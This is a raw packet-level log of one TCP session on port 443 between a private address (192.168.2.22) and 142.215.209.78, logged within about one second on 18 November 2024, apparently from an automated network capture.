Nov 18, 2024 18:22:22.205782890 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.205802917 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.205810070 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.205821991 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.205847025 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.205853939 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.205862045 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.205867052 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.205885887 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.206463099 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.206509113 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.206515074 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.224728107 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.224772930 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.224781990 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.264003992 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.264067888 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.264081955 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.264461994 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.264470100 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.264514923 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.264523029 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.264581919 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.264628887 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.264632940 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.264652967 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.264682055 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.264707088 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.264714003 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.264743090 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.264750004 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.264802933 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.264848948 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.264854908 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.300036907 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.300090075 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.300101042 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.300234079 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.300276995 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.300278902 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.300298929 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.300333977 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.300843000 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.300849915 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.300899982 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.300905943 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.326056957 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.326112986 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.326122046 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.326704979 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.326747894 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.326754093 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.326762915 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.326790094 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.383902073 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.383912086 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.383966923 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.383977890 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.384601116 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.384654045 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.384661913 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.384773016 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.384813070 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.384819984 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.385320902 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.385365009 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.385371923 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.385648012 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.385698080 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.385704994 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.388314009 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.420311928 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.420377016 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.420388937 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.420502901 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.420547009 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.420555115 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.420867920 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.420914888 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.420922041 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.421149015 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.421189070 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.421195984 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.421233892 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.445789099 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.445843935 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.445856094 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.446053982 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.446095943 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.446105003 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.506580114 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.506635904 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.506647110 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.506963015 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.507004023 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.507006884 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.507021904 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.507051945 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.507256031 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.507266045 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.507309914 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.507322073 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.507636070 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.507692099 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.507699966 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.508126974 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.508176088 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.508183002 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.541879892 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.541932106 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.541941881 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.542038918 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.542085886 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.542084932 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.542103052 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.542131901 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.542284012 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.542340994 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.542347908 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.542808056 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.542856932 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.542865038 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.568442106 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.568500996 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.568511009 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.585299969 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.585351944 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.585371017 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.625332117 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.625384092 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.625425100 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.625437975 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.625483036 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.625719070 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.625727892 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.625766993 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.625776052 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.625875950 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.625902891 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.625917912 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.625926018 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.625958920 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.627136946 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.627144098 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.627190113 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.627198935 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.627396107 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.627444029 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.627450943 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.661629915 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.661701918 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.661710024 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.661956072 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.661997080 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.662002087 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.662014961 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.662055016 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.662112951 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.662122011 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.662158012 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.662166119 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.662637949 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.662678957 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.662686110 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.686605930 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.686645985 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.686655045 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.686665058 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.686873913 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.686920881 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.686928034 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.704993010 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.705043077 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.705051899 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.745189905 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.745249987 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.745263100 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.745637894 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.745646954 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.745688915 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.745697975 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.745898008 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.745913029 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.745944023 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.745953083 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.745991945 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.746118069 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.746131897 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.746171951 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.746180058 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.746495962 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.746545076 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.746551991 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.781760931 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.781815052 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.781825066 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.781969070 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.782013893 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.782032013 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.782083035 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.782120943 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.782313108 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.782320976 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.782423019 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.782429934 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.782756090 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.782799006 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.782807112 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.806550980 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.806606054 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.806615114 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.806740046 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.806776047 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.806778908 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.806797981 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.806828976 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.824904919 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.824968100 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.824975014 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.865401030 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.865457058 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.865464926 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.865699053 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.865709066 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.865739107 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.865746975 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.865756035 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.866043091 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.866095066 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.866101980 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.866317034 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.866362095 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.866369009 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.866745949 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.866795063 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.866801977 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.902681112 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.902741909 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.902754068 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.902767897 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.902793884 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.902816057 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.902859926 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.902861118 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.902874947 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.902909040 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.902920008 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.902982950 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.903009892 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.926613092 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.926676035 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.926682949 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.926898956 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.926953077 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.926960945 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.945333004 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.945388079 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.945396900 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.985323906 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.985388041 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.985395908 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.985563040 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.985572100 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.985621929 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.985630035 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.985871077 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.985923052 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.985930920 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.986375093 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.986426115 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.986433029 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.986671925 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.986728907 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.986736059 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.986996889 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:22.987047911 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:22.987056017 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.022202969 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.022252083 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.022262096 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.022483110 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.022522926 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.022530079 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.022741079 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.022785902 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.022794008 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.023051023 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.023092985 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.023099899 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.046633005 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.046700001 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.046708107 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.047291994 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.047348022 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.047354937 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.065407991 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.065464020 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.065474033 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.105154991 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.105237007 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.105246067 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.106194019 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.106240034 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.106246948 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.106256962 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.106292009 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.106352091 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.106372118 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.106409073 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.106417894 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.106561899 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.106602907 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.106610060 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.107024908 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.107067108 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.107074022 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.107217073 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.107266903 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.107274055 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.107518911 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.107564926 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.107570887 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.196055889 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.196115017 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.196126938 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.196438074 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.196445942 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.196489096 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.196499109 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.196826935 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.196835995 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.196880102 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.196888924 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.196897984 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.196927071 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.196927071 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.196947098 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.196980000 CET	49173	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:22:23.197364092 CET	443	49173	142.215.209.78	192.168.2.22
Nov 18, 2024 18:22:23.197371960 CET	443	49173	142.215.209.78	192.168.2.22
